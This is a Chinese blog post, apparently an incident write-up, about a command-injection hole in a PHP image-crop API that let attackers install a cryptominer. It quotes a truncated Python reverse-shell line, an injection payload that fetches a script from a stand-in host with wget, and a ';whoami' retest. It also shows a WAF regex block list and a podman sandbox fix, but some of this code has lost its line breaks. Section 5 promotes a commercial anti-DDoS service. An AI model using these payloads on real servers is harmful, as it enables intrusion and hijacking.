高并發場景下的“命令執行”注入繞道記

環境:CentOS 8 + OpenResty 1.21 + PHP-FPM 8.0
背景:營銷團隊上線了一個“圖片裁剪”接口,參數直接拼進 shell_exec,結果被打成“礦機”。


1. 發現:流量突增 30 倍,卻不見數據庫慢查詢

iftop -i eth0

出站 1.8 Gbps,目標 IP 全是境外 3333 端口。
ps aux | grep python 蹦出大量:

www-data  18293  112  0.3 /tmp/.tmpXXX/python3 -c import socket,subprocess,os;s=socket.socket...

2. 定位:一句話木馬是怎么進來的?

access.log,找到一條:

POST /crop?url=http://xxx.com/a.jpg%3Bcd%20/tmp%3Bwget%20http://yyy.com/p.py 

PHP 里寫法:

shell_exec("convert {$url} -resize 200x200 out.jpg");

經典“命令串鏈”——一個分號直接拿到宿主機權限。


3. 臨時止血:OpenResty 階段 0 攔截

不改 PHP,先在外層堵。
/usr/local/openresty/nginx/conf/waf.conf

-- 階段 0:args 階段就跑,性能最好
local ngx = ngx
local re_find = ngx.re.find
local args = ngx.req.get_uri_args()
for k, v in pairs(args) doif re_find(v, [[;|\$\(|`]], "jo") thenngx.exit(403)end
end

nginx.confinclude waf.conf;
reload 后掃描立刻 403,礦機進程不再新增。


4. 長期方案:把“圖片處理”扔進一次性容器

命令注入本質是“宿主機與業務進程沒隔離”。
podman(CentOS 8 默認源就有),寫個 wrapper

function safe_crop($url, $width, $height) {$uuid = bin2hex(random_bytes(8));$podmanRun = sprintf('podman run --rm -v /tmp/crop:/data docker.io/imagick:7 '.'convert "%s" -resize %dx%d /data/out_%s.jpg 2>&1',escapeshellarg($url), $width, $height, $uuid);exec($podmanRun, $output, $ret);return $ret === 0 ? "/tmp/crop/out_{$uuid}.jpg" : false;
}

就算傳進來 ; curl xxx,也只在容器里執行,退出即焚。


5. 隱藏彩蛋:給入口 IP 再加一道“高防”罩子

容器方案上線后,CPU 是降了,但 2 Gbps 的“垃圾流量”依舊打滿機房帶寬。
運維兄弟把主域名解析丟到“某高防 IP”——號稱 1.5 T 清洗能力,實際就是 Anycast 先把流量引到上游,用 eBPF 把 90% 的 UDP/ICMP 直接 drop,再回源。
切過去 3 分鐘,流量圖瞬間干凈,只留 200 Mbps 真實請求。
關鍵是:回源 IP 不變,代碼 0 改動,證書也不用重新簽發。
計費按“干凈流量”算,比直接買 10 G 帶寬便宜一半。


6. 一行命令復測

# 老 payload
curl 'http://api.xxxxx.com/crop?url=a.jpg%3Bwhoami '
# 返回
{"code":403,"msg":"invalid separator in url"}

7. 小結

  1. OpenResty 階段 0 做正則,比 PHP 層快 10 倍。
  2. 容器化一次性任務,宿主機再也不怕“分號”。
  3. 入口流量直接走“高防 IP”,省帶寬、省備案、省心臟。

整套下來,代碼 diff 不到 30 行,第二天全組喝咖啡時感慨:“原來安全也可以這么便宜。”
至于高防 IP 是誰家的?賬單上只寫了“群聯高防 IP 彈性版”,用不用隨你——反正 podmanOpenResty 都是開源的,自己搭也行。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/96323.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/96323.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/96323.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【modbus學習】

Modbus通信(源于施耐德)串行鏈路:RTU(傳輸大量數據,適合工業)、ASCII(少量數據,適合計算機)TCP/IP:TCP(傳輸嚴謹,效率低)、…

Redis單線程模型為什么快?

Redis的單線程模型指的是redis只使用一個線程來出來所有的命令式指令,但是不是意味著redis內部就只使用一個線程來處理所有的任務。都知道redis是一個客戶端-服務器的程序,那么redis就只有一個服務器,但是有多個客戶端,就像mysql一…

前端安全攻防:XSS, CSRF 等常見威脅的防范與檢測指南

在如今高度互聯的 Web 應用世界里,前端安全不再是可有可無的選項,而是構建可信賴、健壯應用的基石。隨著 Web 技術的發展,攻擊者們也變得越來越狡猾,前端遭受的攻擊手段層出不窮。其中,跨站腳本攻擊 (XSS) 和跨站請求偽…

Scikit-learn Python機器學習 - 特征降維 壓縮數據 - 特征選擇 - 移除低方差特征(VarianceThreshold)

鋒哥原創的Scikit-learn Python機器學習視頻教程: 2026版 Scikit-learn Python機器學習 視頻教程(無廢話版) 玩命更新中~_嗶哩嗶哩_bilibili 課程介紹 本課程主要講解基于Scikit-learn的Python機器學習知識,包括機器學習概述,特征工程(數據…

C#(鏈表創建與原地反轉)

鏈表創建(C#) 在C#中,鏈表可以通過自定義節點類實現。每個節點包含數據域和指向下一個節點的引用。 public class ListNode {public int val;public ListNode next;public ListNode(int val0, ListNode nextnull) {this.val val;this.next…

Android --- AOSP源碼導入Android Studio

AOSP代碼量龐大,為了開發的方便,我們需要導入到android studio中,其中關鍵的一 項就是配置跳轉。尤其是對于Framework開發來說生成 ipr,iml 工程文件make idegen ./development/tools/idegen/idegen.sh會生成如下文件首先需要修改ipr和iml文件…

游戲中的設計模式——第一篇 設計模式簡介

前言 對于設計模式,相信很多開發者并不陌生,我在學習過程中希望把自己的一些總結和心得體會與你分享。 本專欄主要將重點放在設計模式在游戲中的應用,會結合大家熟悉的游戲場景和功能闡述設計模式在該處應用的好處。因為設計模式很多&#xf…

SpringBoot + RustFS 實現文件切片極速上傳技術

本文將手把手教你如何通過 SpringBoot 和 RustFS 構建高性能文件切片上傳系統,解決大文件傳輸的痛點,實現秒傳、斷點續傳和分片上傳等高級功能。 目錄 一、為什么選擇 RustFS SpringBoot? 二、環境準備與部署 2.1 安裝 RustFS 2.2 Sprin…

在Word和WPS文字中便捷切換英文段落大小寫

在Word和WPS文字中編輯英文段落時,有時候英文字母的大小寫不規范,或者需要把某一段全部改為大寫字母怎么辦?使用ShiftF3組合鍵即可快速在三種模式中切換:全部大寫、全部小寫、首字母大寫——其中首字母大寫的Word是每一句話的第一…

成都金牛區哪里租好辦公室?國際數字影像產業園享稅收優惠

在成都金牛區租賃優質辦公室,國際數字影像產業園憑借其享有的稅收優惠政策,成為了許多企業的首選之地。稅收優惠對于租賃辦公室的企業來說,是一筆不小的成本節省。國際數字影像產業園針對入駐企業提供的稅收優惠政策,能在企業運營…

CSS `:is()` `:where()` 實戰指南:簡化選擇器,提升可維護性

🎯 CSS :is() & :where() 實戰指南:簡化選擇器,提升可維護性你是否在項目中寫過一大串重復的選擇器?比如: h1, h2, h3, h4, h5, h6 { margin-bottom: 1rem; }這樣的代碼既冗長又難維護。 現在 CSS 提供了 :is() 和…

Linux I/O 訪問架構深入分析

Linux I/O 訪問架構深入分析 目錄 概述I/O 架構層次核心數據結構I/O 處理流程VFS 虛擬文件系統塊設備I/O字符設備I/O內存映射I/O異步I/O機制I/O調度器調試工具與方法性能優化策略 概述 Linux I/O 系統是一個多層次、高度抽象的架構,旨在為應用程序提供統一的文件訪問…

Linux:6_基礎IO

基礎IO 一.理解"文件" 文件分類 1.內存級(被打開)文件 2.磁盤級文件 1. 狹義理解 文件在磁盤里磁盤是永久性存儲介質,因此文件在磁盤上的存儲是永久性的磁盤是外設 (即是輸出設備也是輸入設備)磁盤上的文件本質是對文件的所有操作,都是對外…

Coze源碼分析-資源庫-刪除插件-前端源碼-核心邏輯

刪除插件邏輯 1. 刪除操作入口組件 刪除插件操作主要通過 usePluginConfig hook 中的 renderActions 方法實現,該方法返回 TableAction 組件來處理表格行的操作。 文件位置:frontend/packages/studio/workspace/entry-base/src/pages/library/hooks/u…

第一代:嵌入式本地狀態(Flink 1.x)

最初的架構將狀態以 JVM Heap 對象的形式存儲在 TaskManager 的內存中。對于小規模數據集,這種方式效果良好,但隨著狀態大小的增長超出內存,將所有狀態保存在內存中變得成本高昂且不穩定。 為了解決狀態規模增長的問題,引入了一種…

跨境金融數據對接實踐:印度NSE/BSE股票行情API集成指南

跨境金融數據對接實踐:印度NSE/BSE股票行情API集成指南 關鍵詞:印度股票數據對接 NSE實時行情 BSE證券接口 金融API開發 Python請求示例一、印度股市數據源技術解析(核心價值) 印度兩大交易所數據獲取難點: 時區差異&a…

AFSim2.9.0學習筆記 —— 1、AFSim及完整工具介紹(文末附:完整afsim2.9.0源碼、編譯好的完整工具包、中文教材等)

🔔 AFSim2.9.0 相關技術、疑難雜癥文章合集(掌握后可自封大俠 ?_?)(記得收藏,持續更新中…) AFSim介紹 AFSim(Advanced Framework for Simulation Integration & Modeling【高級仿真集成與…

ArcGIS學習-18 實戰-降雨量空間分布插值分析

設置環境加載要素投影查看要素,發現均不是投影數據,但都是地理坐標都是WGS1984使用工具進行批量投影然后新建空地圖,重新加載確認圖層的投影與柵格數據一致插值樣條法得到反距離權重法插值得到克里金法插值得到

HarmonyOS應用開發:深入理解聲明式UI與彈窗交互的最佳實踐

HarmonyOS應用開發:深入理解聲明式UI與彈窗交互的最佳實踐 引言 隨著HarmonyOS 4.0的發布及后續版本的演進,華為的分布式操作系統已經進入了全新的發展階段。基于API 12及以上的開發環境為開發者提供了更強大、更高效的開發工具和框架。在HarmonyOS應用…

探索Java并發編程--從基礎到高級實踐技巧

Thread(線程)線程 程序執行的最小單位(一個進程至少有一個線程)。線程內有自己的執行棧、程序計數器(PC),但與同進程內其他線程共享堆內存與進程資源 在java中,線程由java.lang.Thr…